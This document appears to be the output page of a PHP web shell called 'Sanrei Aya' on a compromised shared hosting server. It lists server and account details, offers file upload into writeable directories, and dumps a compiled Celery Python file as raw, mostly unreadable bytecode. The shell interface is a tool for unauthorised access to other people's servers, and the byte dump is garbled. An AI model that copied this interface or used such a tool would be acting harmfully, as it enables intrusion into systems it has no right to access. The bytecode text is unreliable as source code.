Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/app/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/app/__pycache__/annotations.cpython-39.pyc
a

��Sh��@sXdZddlmZmZddlmZed�Zed�ZdZGdd�de	�Z
d	d
�Zdd�Zd
S)z�Task Annotations.

Annotations is a nice term for monkey-patching task classes
in the configuration.

This prepares and performs the annotations in the
:setting:`task_annotations` setting.
�)�firstmethod�mlazy)�instantiate�annotate�annotate_any)�
MapAnnotation�prepare�resolve_allc@s eZdZdZdd�Zdd�ZdS)rz(Annotation map: task_name => attributes.cCs&zt|d�WSty Yn0dS)N�*)�dict�KeyError)�self�r�@/usr/local/lib/python3.9/site-packages/celery/app/annotations.pyrszMapAnnotation.annotate_anycCs(zt||j�WSty"Yn0dS�N)r�namer)r
�taskrrrrszMapAnnotation.annotateN)�__name__�
__module__�__qualname__�__doc__rrrrrrrsrcs:dd��|durdSt|ttf�s(|f}�fdd�|D�S)z/Expand the :setting:`task_annotations` setting.cSs*t|t�rt|�St|t�r&tt|�S|Sr)�
isinstancerr�strrr)�
annotationrrr�expand_annotation$s



z"prepare.<locals>.expand_annotationNrcsg|]}�|��qSrr)�.0�anno�rrr�
<listcomp>/�zprepare.<locals>.<listcomp>)r�list�tuple)�annotationsrrrr"srcCsdd�t||�t|�fD�S)z Resolve all pending annotations.css|]}|r|VqdSrr)r�xrrr�	<genexpr>4rzresolve_all.<locals>.<genexpr>)�_first_match�_first_match_any)rrrrrr	2sr	N)
rZcelery.utils.functionalrrZcelery.utils.importsrr%r&�__all__rrrr	rrrr�<module>s

Yohohohohohooho | Sanrei Aya